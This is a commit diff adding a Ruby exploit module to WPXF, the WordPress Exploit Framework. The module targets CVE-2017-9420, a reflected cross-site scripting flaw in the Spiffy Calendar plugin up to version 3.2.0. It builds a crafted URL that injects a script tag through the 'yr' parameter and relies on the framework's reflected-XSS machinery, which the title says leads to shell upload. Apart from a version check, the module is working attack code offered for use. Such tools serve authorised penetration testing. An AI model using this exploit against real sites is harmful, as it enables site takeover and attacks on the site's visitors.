Add Spiffy Calendar <= 3.2.0 reflected XSS shell upload

Author: rastating

modules/exploits/spiffy_calendar_reflected_xss_shell_upload.rb

@@ -0,0 +1,46 @@
+class Wpxf::Exploit::SpiffyCalendarReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+  include ERB::Util
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Spiffy Calendar <= 3.2.0 Reflected XSS Shell Upload',
+      author: [
+        'DTSA',                           # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8842'],
+        ['CVE', '2017-9420'],
+        ['URL', 'https://dtsa.eu/cve-2017-9420-wordpress-spiffy-calendar-v-3-2-0-reflected-cross-site-scripting-xss/']
+      ],
+      date: 'Jun 02 2017'
+    )
+
+    register_option(
+      StringOption.new(
+        name: 'calendar_path',
+        desc: 'The relative path or absolute URL of the calendar',
+        required: true
+      )
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('spiffy-calendar', 'readme.txt', '3.2.1')
+  end
+
+  def vulnerable_url
+    normalize_relative_uri(datastore['calendar_path'])
+  end
+
+  def url_payload
+    url_encode("#{DateTime.now.year}\"><script>#{xss_ascii_encoded_include_script}</script>")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?month=#{Utility::Text.rand_month[0..2]}&yr=#{url_payload}"
+  end
+end